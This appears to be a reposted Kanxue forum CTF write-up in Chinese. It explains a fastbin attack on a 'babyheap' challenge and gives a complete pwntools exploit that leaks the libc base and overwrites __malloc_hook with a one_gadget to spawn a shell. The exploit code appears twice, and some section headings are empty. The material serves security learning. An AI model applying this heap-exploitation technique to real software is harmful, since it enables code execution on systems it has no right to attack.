本文为看雪论坛优秀文章
看雪论坛作者ID:mb_uvhwamsn
(1) fastbin_attack
一、逆向分析
二、漏洞利用
alloc(0x10) #index 0
alloc(0x10) #index 1
alloc(0x10) #indec 2
alloc(0x80) #index 3 分配unsorted_bin
free(2)
free(1)
#fastbin_attack
extend_0 = flat(cyclic(0x10), 0, 0x21, b'\x60')
fill(0, len(extend_0), extend_0)
alloc(0x10) #index 0 to fastbin
alloc(0x10) #index 1 to fastbin
alloc(0x10) #index 2 to fastbin
alloc(0x10) #index 3 to fastbin <-------新增加的chunk
alloc(0x80) #index 4 to unsorted_bin
free(2)
free(1)
extend_0 = flat(cyclic(0x10), 0, 0x21, b'\x80')
fill(0, len(extend_0), extend_0)
#修改为fastbins大小,用于分配
extend_3 = flat(cyclic(0x10), 0, 0x21)
fill(3, len(extend_3), extend_3)
alloc(0x10)
alloc(0x10)
#修改回fastbins大小,用于释放到unsorted_bin
extend_3 = flat(cyclic(0x10), 0, 0x91)
fill(3, len(extend_3), extend_3)
#分配一个chunk防止unsorted_chunk与top_chunk合并
alloc(0x60)
free(4)
dump(2)
io.recvuntil("Content: \n")
unsorted_main_arena = u64(io.recv(8))
print(hex(unsorted_main_arena))
这个通过free一个0x90大小chunk到unsorted_bin中,查看fd和bk指针可以看到。
main_arena = 0x3c4b20
libc_base = unsorted_main_arena - (main_arena + 88)
log.success("libc base addr: " + hex(libc_base))
(1) RELRO全开,将GOT表属性设置为不可写。
hook是钩子函数,设计钩子函数的初衷是用于调试,基本格式大体是func_hook(*func,<参数>),在调用某函数时,如果函数的钩子存在,就会先去执行该函数的钩子函数,通过钩子函数再来回调我们当初要调用的函数,calloc函数与malloc函数的钩子都是malloc_hook。
因为在64位系统中,地址8字节只使用了低6字节,而且hook函数和_IO_wfile_jumps的偏移地址最高位0x7F,align 20h为0,可以错位构造size:0x3C4AF0为 ? ? ? ? ? 7F 00 00 而 0x3C4AF8 00 00 00 00 00,选择0x3C4AF5~0x3C4AFC:7F 00 00 00 00 00 00 00,对应需要分配的chunk大小位0x60。
hook_addr = libc_base + libc.sym["__malloc_hook"]
print(hex(hook_addr))
#构造0x60 unsorted_bin链
alloc(0x60)
free(4)
#伪造chunk,指向hook
fake_chunk = flat(hook_addr - 0x23)
fill(2, len(fake_chunk), fake_chunk)
alloc(0x60)
alloc(0x60) #获取index6指向hook地址
one_gadget_addr = libc_base + 0x4527a
#篡改__malloc_hook
payload = flat(cyclic(0x13), one_gadget_addr)
fill(6, len(payload), payload)
#触发calloc
alloc(0x100)
io.interactive()
from pwn import *
context(arch="amd64", log_level="debug", os="linux")
io = process("./babyheap")
elf = ELF("./babyheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def alloc(size):
io.sendlineafter("Command: ", "1")
io.sendlineafter("Size: ",str(size))
def fill(index, size, content):
io.sendlineafter("Command: ", "2")
io.sendlineafter("Index: ", str(index))
io.sendlineafter("Size: ",str(size))
io.sendafter("Content: ", content)
def free(index):
io.sendlineafter("Command: ", "3")
io.sendlineafter("Index: ", str(index))
def dump(index):
io.sendlineafter("Command: ", "4")
io.sendlineafter("Index: ", str(index))
alloc(0x10) #index 0 to fastbin
alloc(0x10) #index 1 to fastbin
alloc(0x10) #index 2 to fastbin
alloc(0x10) #index 3 to fastbin <-------新增加的chunk
alloc(0x80) #index 4 to unsorted_bin
free(2)
free(1)
extend_0 = flat(cyclic(0x10), 0, 0x21, b'\x80')
fill(0, len(extend_0), extend_0)
#修改为fastbins大小,用于分配
extend_3 = flat(cyclic(0x10), 0, 0x21)
fill(3, len(extend_3), extend_3)
alloc(0x10)
alloc(0x10)
#修改回fastbins大小,用于释放到unsorted_bin
extend_3 = flat(cyclic(0x10), 0, 0x91)
fill(3, len(extend_3), extend_3)
#分配一个chunk防止unsorted_chunk与top_chunk合并
alloc(0x60)
free(4)
dump(2)
io.recvuntil("Content: \n")
unsorted_main_arena = u64(io.recv(8))
log.success("unsorted_main_arena_addr: " + hex(unsorted_main_arena))
main_arena = 0x3c4b20
libc_base = unsorted_main_arena - (main_arena + 88)
log.success("libc base addr: " + hex(libc_base))
hook_addr = libc_base + libc.sym["__malloc_hook"]
print(hex(hook_addr))
#构造0x60 unsorted_bin链
alloc(0x60)
free(4)
#伪造chunk,指向hook
fake_chunk = flat(hook_addr - 0x23)
fill(2, len(fake_chunk), fake_chunk)
alloc(0x60)
alloc(0x60) #获取index6指向hook地址
one_gadget_addr = libc_base + 0x4527a
#篡改__malloc_hook
payload = flat(cyclic(0x13), one_gadget_addr)
fill(6, len(payload), payload)
#触发calloc
alloc(0x100)
io.interactive()
三、解法二
四、总结
(1) fastbin_attack
参考文献
看雪ID:mb_uvhwamsn
https://bbs.pediy.com/user-home-913279.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!